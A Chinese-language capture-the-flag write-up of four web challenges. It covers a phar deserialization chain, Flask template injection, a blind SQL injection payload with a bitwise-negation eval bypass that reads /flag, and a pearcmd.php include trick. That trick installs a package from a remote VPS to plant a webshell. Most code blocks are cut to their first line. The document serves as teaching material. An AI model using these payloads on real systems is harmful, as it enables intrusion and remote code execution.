一、babyphhp2
考点:phar反序列化
源码很简单,上传功能,读文件功能,登录功能(没用,不用登录就能上传和读文件)
很明显的上传phar反序列化然后触发反序列化链
user类中有__tostring()方法
1 | public function __toString() |
dbCtrl类中有字符串判断,$token变量可控
1 | if ($this->token=='admin') { |
Reader类中有__set()方法
1 | Class Reader{ |
简单的链子就这三步,dbCtrl->token触发user->__tostring()
__tostring中
$this->nickname->backup=$this->backup;
再触发Reader->__set()读文件。
Phar.php:
1 |
|
在upload和read处均有过滤waf
1 | Class Upload{ |
1 | Class Reader{ |
upload处可以改后缀绕过,read处可用compress.zlib://
绕过对schema的检测
将生成的phar文件改后缀为.txt上传,然后用phar://读取这个文件触发反序列化
compress.zlib://phar:///var/www/html/upload/dca4c919e572dc68bcf4c54d892402dd.txt
二、easyflask
在name处找到未过滤的ssti
找到任意一个已经被init初始化过的类都可以
这些子类都能利用
读flag
三、babyback
存在盲注,老考点了,转义符转义username引号然后盲注
username=\&password=or if((ascii(substr((password),1,1))<120),sleep(2),1)#
注入出密码后,后台是一个eval($cmd.’=FALSE’)命令执行,ban掉了很多东西,但是可以用 require 和 ?> 这个结构
payload:
command=?><?=require%0a~%D0%99%93%9E%98?%3E
或者
command=require%40%7e%D0%99%93%9E%98?%3E (@~/flag的取反)
四、meow world
环境已经关闭,参考Nep战队师傅们的WP和部分截图
有个国外WP
https://khack40.info/camp-ctf-2015-trolol-web-write-up/
主要代码:
1 |
|
正常情况下应该不会存在恶意包含问题
但是php.ini
中开启了register_argc_argv
环境中也像上面国外那篇WP一样有pearcmd.php
因此,get传入的参数可以直接传入到$_SERVER['argv']
中,并且通过+
可以达到传入数组的效果
根据上面文章思路,可以知道,首先要上传一个包,然后通过这个包来getshell
下载压缩包文件
http://download.pear.php.net/package/Archive_Tar-1.4.0.tgz
可以写一个 shell 到 Archive/eval.php
1 |
|
修改package.xml
1 | <contents> |
然后把修改好的这个包部署在远程的 vps 上面,然后访问
1 | http://eci-2ze3abghqdfs09uu926n.cloudeci1.ichunqiu.com/index.php? |
再通过报错找到package存放的位置
并且插件的位置是存放在这个路径的 doc 目录下的。所以访问
1 | http://eci-2ze3abghqdfs09uu926n.cloudeci1.ichunqiu.com/index.php?f=/tmp/usr/local/lib/php/doc/Archive_Tar/Archive/eval |
蚁剑连接上去后,发现/readflag.c是一个计算题
用师傅们的perl脚本:
1 | use strict; |